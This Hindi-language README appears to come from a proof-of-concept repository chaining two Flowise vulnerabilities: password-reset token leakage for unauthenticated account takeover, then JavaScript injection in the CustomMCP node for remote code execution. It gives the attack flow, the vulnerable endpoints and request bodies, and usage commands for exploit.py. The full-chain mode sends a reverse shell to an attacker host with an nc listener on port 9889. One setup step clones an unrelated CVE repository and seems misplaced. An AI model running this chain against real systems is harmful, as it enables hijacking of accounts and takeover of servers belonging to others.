
FlowiseAI CVE-2025-58434 और CVE-2025-59528 का exploit PoC, जो रीसेट टोकन लीकेज के माध्यम से बिना प्रमाणीकरण के ATO और उसके बाद प्रमाणित RCE का प्रदर्शन करता है। इसमें एक पुनरुत्पादक Docker लैब वातावरण शामिल है।
⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए। इस उपकरण को उन प्रणालियों पर चलाना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, अवैध है।
इस रिपॉजिटरी में Flowise की दो कमजोरियों को जोड़ने के लिए एक Python प्रूफ-ऑफ-कॉन्सेप्ट शामिल है:
Flowise LLM अनुप्रयोगों और AI एजेंट वर्कफ़्लोज़ के निर्माण के लिए एक ड्रैग-एंड-ड्रॉप प्लेटफ़ॉर्म है। CVE-2025-59528 Flowise 3.0.5 को प्रभावित करता है और 3.0.6 में ठीक किया गया था। यह समस्या CustomMCP नोड के अंदर mcpServerConfig के असुरक्षित प्रसंस्करण से उत्पन्न होती है। CVE-2025-58434 पासवर्ड रीसेट टोकन एक्सपोज़र से संबंधित है और इसे भी Flowise 3.0.6 में संबोधित किया गया था।
यह उपकरण समर्थन करता है:
कमजोर पासवर्ड रीसेट प्रवाह API प्रतिक्रिया में अस्थायी पासवर्ड रीसेट टोकन सहित संवेदनशील उपयोगकर्ता डेटा को उजागर करता है। एक हमलावर जो एक मान्य उपयोगकर्ता ईमेल पता जानता है, पासवर्ड रीसेट का अनुरोध कर सकता है, प्रतिक्रिया से अस्थायी टोकन प्राप्त कर सकता है, और इसका उपयोग खाते के लिए एक नया पासवर्ड सेट करने के लिए कर सकता है।
कमजोर व्यवहार Flowise क्लाउड और सेल्फ-होस्टेड/लोकल डिप्लॉयमेंट को प्रभावित करता है जो समान API सतह को उजागर करते हैं। उपाय API प्रतिक्रियाओं में पासवर्ड रीसेट टोकन या संवेदनशील खाता रीसेट डेटा को कभी वापस नहीं करना है।
यह कमजोरी Flowise के CustomMCP नोड में मौजूद है। mcpServerConfig पैरामीटर MCP सर्वर कॉन्फ़िगरेशन प्रक्रिया के भाग के रूप में पार्स किया जाता है, और बिना किसी सुरक्षा सत्यापन के JavaScript कोड के रूप में मूल्यांकन किया जाता है। यह एक प्रमाणित हमलावर को मनमाना JavaScript कोड इंजेक्ट करने की अनुमति देता है, जो Flowise सर्वर के Node.js वातावरण में निष्पादित होता है। convertToValidJSONString फ़ंक्शन में, उपयोगकर्ता इनपुट Function कंस्ट्रक्टर को पास किया जाता है, जो इनपुट को पूर्ण Node.js विशेषाधिकारों के साथ JavaScript कोड के रूप में मूल्यांकन करता है, जिससे सिस्टम कमांड निष्पादित करने के लिए child_process जैसे मॉड्यूल तक पहुँच मिलती है।
इस PoC द्वारा उपयोग किया जाने वाला कमजोर एंडपॉइंट है:
POST /api/v1/node-load-method/customMCP
JSON बॉडी के mcpServerConfig फ़ील्ड में js पेलोड के साथ, उदाहरण के लिए:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
कमजोर कोड CustomMCP.ts फ़ाइल में पाया जाता है, और CVE के लिए GitHub अनुरक्षक सलाहकार में संदर्भित है।
Attacker Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ user object + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ password changed │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<crafted config> │
│─────────────────────────────────────────►│
│ JS evaluated in Node.js
│ command executed
│◄─────────────────────────────────────────│
│ command output or payload fired │
│ │
✓ Account takeover + authenticated RCE
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # पर्यावरण चर कॉन्फ़िगर करें
docker-compose up -d
बिना किसी तर्क के, उपकरण पूर्ण आक्रमण श्रृंखला चलाएगा, लक्ष्य कमजोरी की जाँच करेगा, प्रदान किए गए ईमेल के लिए खाता अधिग्रहण करेगा, कुकीज़ पुनर्प्राप्त करने के लिए लॉगिन करेगा, और फिर रिवर्स शेल पेलोड के साथ RCE कमजोरी का शोषण करेगा। पूर्ण श्रृंखला मोड में उपकरण निष्पादित करने से पहले एक समर्पित श्रोता (जैसे nc -lvnp 9889) चलाएं।
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
यह निर्धारित करने के लिए एक संस्करण जाँच करता है कि लक्ष्य CVE-2025-58434 और CVE-2025-59528 के लिए कमजोर है या नहीं। यह लक्ष्य के API को एक अनुरोध भेजता है और Flowise संस्करण और कमजोरी की स्थिति की पहचान करने के लिए प्रतिक्रिया का विश्लेषण करता है।
python3 exploit.py --target http://localhost:3000 check
CVE-2025-58434 के लिए खाता अधिग्रहण प्रक्रिया निष्पादित करता है। यह निर्दिष्ट ईमेल के लिए एक पासवर्ड रीसेट अनुरोध भेजता है, प्रतिक्रिया से अस्थायी टोकन प्राप्त करता है, और फिर उस टोकन का उपयोग खाते के लिए एक नया पासवर्ड (डिफ़ॉल्ट: "Password123!") सेट करने के लिए करता है।
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
निर्दिष्ट ईमेल और पासवर्ड (डिफ़ॉल्ट: "Password123!") का उपयोग करके लक्ष्य में लॉगिन करता है। सफल होने पर, यह प्रमाणित अनुरोधों में उपयोग के लिए प्रमाणीकरण कुकीज़ (जैसे connect.sid) पुनर्प्राप्त और प्रदर्शित करता है।
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode